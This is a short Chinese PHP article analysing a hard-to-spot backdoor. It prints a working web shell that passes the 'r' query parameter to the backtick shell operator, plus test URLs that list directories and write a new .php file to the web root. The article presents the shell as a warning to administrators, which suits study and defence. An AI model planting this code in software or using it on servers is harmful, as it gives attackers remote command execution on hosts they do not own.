一个不易被发现的PHP后门代码解析

 更新时间:2014年07月05日 16:16:53   投稿:shichen2014  
这篇文章主要介绍了一个不易被发现的PHP后门代码解析,对于网络安全来说非常重要,需要的朋友可以参考下

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

相关文章

  • 解析CodeIgniter自定义配置文件

    解析CodeIgniter自定义配置文件

    本篇文章是对CodeIgniter自定义配置文件进行了详细的分析介绍,需要的朋友参考下
    2013-06-06
  • PHP创建XML接口示例

    PHP创建XML接口示例

    这篇文章主要介绍了PHP创建XML接口,结合实例形式分析了php数据库查询及xml格式数据构造相关操作技巧,需要的朋友可以参考下
    2019-07-07
  • php 将excel导入mysql

    php 将excel导入mysql

    最近因项目需求,要实现将excel文件通过php页面导入mysql数据库中。在网上搜了很多这方面的资料,发现都是将excel文件另存为csv文件,然后从csv文件导入。
    2009-11-11
  • 一款简单实用的php操作mysql数据库类

    一款简单实用的php操作mysql数据库类

    这篇文章主要介绍了一款简单实用的php操作mysql数据库类,不但包含了php针对mysql数据库的常见操作之外,还有针对危险字符的过滤功能,非常具有实用价值,需要的朋友可以参考下
    2014-12-12
  • PHP开发注意事项总结

    PHP开发注意事项总结

    这篇文章主要介绍了PHP开发注意事项总结,非常详细,需要的朋友可以参考下
    2015-02-02
  • php设计模式 Visitor 访问者模式

    php设计模式 Visitor 访问者模式

    表示一个作用于某对象结构中的各元素的操作,可以在不改变各元素的类的前提下定义作用于这些元素的新操作
    2011-06-06
  • 详解PHP八大设计模式

    详解PHP八大设计模式

    这篇文章主要介绍了PHP八大设计模式,对设计模式感兴趣的同学,不妨多试试,深刻了解其中的含义
    2021-04-04
  • php 调试利器debug_print_backtrace()

    php 调试利器debug_print_backtrace()

    debug_print_backtrace() 是一个很低调的函数,很少有人注意过它. 不过当我对着一个对象调用另一个对象再调用其它的对象和文件中的一个函数出错时,它正在一边笑呢
    2012-07-07
  • PHP 基于Yii框架中使用smarty模板的方法详解

    PHP 基于Yii框架中使用smarty模板的方法详解

    本篇文章是对在Yii框架中使用smarty模板的方法进行了详细的分析介绍,需要的朋友参考下
    2013-06-06
  • PHP实现导出excel数据的类库用法示例

    PHP实现导出excel数据的类库用法示例

    这篇文章主要介绍了PHP实现导出excel数据的类库用法,结合实例形式分析了php操作Excel数据的读取与导出操作相关实现技巧,需要的朋友可以参考下
    2016-10-10

最新评论